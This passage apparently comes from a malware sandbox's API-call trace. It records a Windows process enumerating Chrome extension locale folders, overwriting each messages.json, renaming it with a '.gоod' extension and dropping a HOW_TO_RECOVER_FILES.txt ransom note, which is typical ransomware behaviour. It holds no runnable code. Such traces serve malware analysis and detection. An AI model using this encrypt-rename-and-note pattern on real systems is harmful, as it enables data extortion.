ftCreationTime.dwLowDateTime=0x55452973, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55457773, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55457773, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0262.001] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55452973, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55457773, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55457773, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.001] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55457773, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55457088, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0262.001] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0262.001] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0262.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0262.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0262.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0262.002] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", lpFilePart=0x0) returned 0x7b [0262.002] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55452973, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55457773, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55457773, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0262.002] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55452973, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55457773, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55457773, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.002] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55457773, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55457088, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0262.002] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55457773, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55457088, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0262.002] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0262.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0262.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0262.003] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json", lpFilePart=0x0) returned 0x89 [0262.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0262.003] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3994598 | out: lpFileInformation=0x3994598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55457773, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55457088, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1 [0262.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0262.003] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json", lpFilePart=0x0) returned 0x89 [0262.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0262.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0262.003] GetFileType (hFile=0x864) returned 0x1 [0262.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0262.003] GetFileType (hFile=0x864) returned 0x1 [0262.003] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xdd [0262.003] ReadFile (in: hFile=0x864, lpBuffer=0x3994a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3994a30*, lpNumberOfBytesRead=0x1f6e7648*=0xdd, lpOverlapped=0x0) returned 1 [0262.004] CloseHandle (hObject=0x864) returned 1 [0262.411] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json", lpFilePart=0x0) returned 0x89 [0262.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0262.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0262.413] GetFileType (hFile=0x864) returned 0x1 [0262.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0262.413] GetFileType (hFile=0x864) returned 0x1 [0262.413] WriteFile (in: hFile=0x864, lpBuffer=0x3978790*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3978790*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0262.413] CloseHandle (hObject=0x864) returned 1 [0262.413] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json", lpFilePart=0x0) returned 0x89 [0262.413] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0262.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0262.413] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55457773, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55457088, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x989e9b10, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0262.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0262.413] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.gоod")) returned 1 [0263.127] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0263.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0263.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0263.159] GetFileType (hFile=0x858) returned 0x1 [0263.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0263.159] GetFileType (hFile=0x858) returned 0x1 [0263.160] WriteFile (in: hFile=0x858, lpBuffer=0x3a51440*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3a51440*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0263.160] CloseHandle (hObject=0x858) returned 1 [0263.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0263.160] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", lpFilePart=0x0) returned 0x7b [0263.160] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55463ac8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554661d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554661d8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0263.161] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55463ac8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554661d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554661d8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.161] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554661d8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554681f8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0263.161] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0263.161] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0263.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0263.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0263.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0263.161] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", lpFilePart=0x0) returned 0x7b [0263.161] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55463ac8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554661d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554661d8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0263.162] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55463ac8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554661d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554661d8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.162] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554661d8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554681f8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0263.162] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554661d8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554681f8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0263.162] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0263.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0263.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0263.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json", lpFilePart=0x0) returned 0x89 [0263.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0263.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3a61410 | out: lpFileInformation=0x3a61410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554661d8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554681f8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10e)) returned 1 [0263.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0263.163] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json", lpFilePart=0x0) returned 0x89 [0263.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0263.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0263.163] GetFileType (hFile=0x858) returned 0x1 [0263.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0263.163] GetFileType (hFile=0x858) returned 0x1 [0263.163] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0x10e [0263.163] ReadFile (in: hFile=0x858, lpBuffer=0x3a618d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3a618d8*, lpNumberOfBytesRead=0x1f6e7648*=0x10e, lpOverlapped=0x0) returned 1 [0263.163] CloseHandle (hObject=0x858) returned 1 [0263.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json", lpFilePart=0x0) returned 0x89 [0263.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0263.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0263.191] GetFileType (hFile=0x858) returned 0x1 [0263.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0263.191] GetFileType (hFile=0x858) returned 0x1 [0263.191] WriteFile (in: hFile=0x858, lpBuffer=0x3ad94b0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3ad94b0*, lpNumberOfBytesWritten=0x1f6e7558*=0x110, lpOverlapped=0x0) returned 1 [0263.191] CloseHandle (hObject=0x858) returned 1 [0263.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User 